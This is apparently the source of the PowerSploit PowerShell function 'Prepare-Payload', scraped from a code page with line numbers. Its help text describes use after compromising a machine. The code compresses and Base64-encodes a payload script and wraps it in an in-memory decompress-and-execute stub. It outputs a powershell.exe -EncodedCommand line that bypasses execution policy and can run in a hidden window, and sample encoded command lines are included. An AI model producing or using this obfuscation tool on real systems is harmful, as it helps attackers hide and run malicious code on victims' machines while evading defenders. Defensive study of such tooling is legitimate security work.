1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
|
function Prepare-Payload
{
<#
.SYNOPSIS
Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.
PowerSploit Module - Prepare-Payload
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
.DESCRIPTION
Prepare-Payload prepares a PowerShell script such that it can be pasted into a command prompt. The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies.
.PARAMETER ScriptBlock
Specifies a scriptblock containing your payload.
.PARAMETER Path
Specifies the path to your payload.
.PARAMETER NoExit
Outputs the option to not exit after running startup commands.
.PARAMETER NoProfile
Outputs the option to not load the Windows PowerShell profile.
.PARAMETER NonInteractive
Outputs the option to not present an interactive prompt to the user.
.PARAMETER Wow64
Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations.
.PARAMETER WindowStyle
Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden.
.EXAMPLE
C:\PS> Prepare-Payload -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA=
Description
-----------
Execute the above payload for the lulz. >D
.EXAMPLE
C:\PS> Prepare-Payload -ScriptBlock {Write-Host 'hello, world!'}
powershell.exe -EncodedCommand cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAQwB5AC8ASwBMAEUAbgBWADkAYwBnAHYATABsAEYAUQB6ADAAagBOAHkAYwBuAFgAVQBTAGoAUABMADgAcABKAFUAVgBRAEgAQQBBAD0APQAnACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkA
.NOTES
This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kennedy and Josh Kelley's talk, "PowerShell...OMFG" (https://www.trustedsec.com/files/PowerShell_PoC.zip)
.LINK
http://www.exploit-monday.com
#>
[CmdletBinding( DefaultParameterSetName = 'FilePath')] Param (
[Parameter(Position = 1, ParameterSetName = 'ScriptBlock' )]
[ValidateNotNullOrEmpty()]
[ScriptBlock]
$ScriptBlock,
[Parameter(Position = 1, ParameterSetName = 'FilePath' )]
[ValidateNotNullOrEmpty()]
[String]
$Path,
[Switch]
$NoExit,
[Switch]
$NoProfile,
[Switch]
$NonInteractive,
[Switch]
$Wow64,
[ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')]
[String]
$WindowStyle
)
if ($PSBoundParameters['Path'])
{
$Text = Get-Content -Path $Path -Encoding Ascii -ErrorAction Stop
$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($Text)
}
else
{
$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($ScriptBlock)
}
$CompressedStream = New-Object IO.MemoryStream
$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
$DeflateStream.Dispose()
$CompressedScriptBytes = $CompressedStream.ToArray()
$CompressedStream.Dispose()
$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
# Generate the code that will decompress and execute the payload.
# This code is intentionally ugly to save space.
$NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
# Base-64 strings passed to -EncodedCommand must be unicode encoded.
$UnicodeEncoder = New-Object System.Text.UnicodeEncoding
$EncodedPayloadScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript))
# Build the command line options
$CommandlineOptions = New-Object String[](0)
if ($PSBoundParameters['NoExit'])
{ $CommandlineOptions += '-NoExit' }
if ($PSBoundParameters['NoProfile'])
{ $CommandlineOptions += '-NoProfile' }
if ($PSBoundParameters['NonInteractive'])
{ $CommandlineOptions += '-NonInteractive' }
if ($PSBoundParameters['WindowStyle'])
{ $CommandlineOptions += "-WindowStyle $($PSBoundParameters['WindowStyle'])" }
if ($PSBoundParameters['Wow64'])
{
$CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -EncodedCommand $EncodedPayloadScript"
}
else
{
$CommandLineOutput = "powershell.exe $($CommandlineOptions -join ' ') -EncodedCommand $EncodedPayloadScript"
}
Write-Output $CommandLineOutput
}
|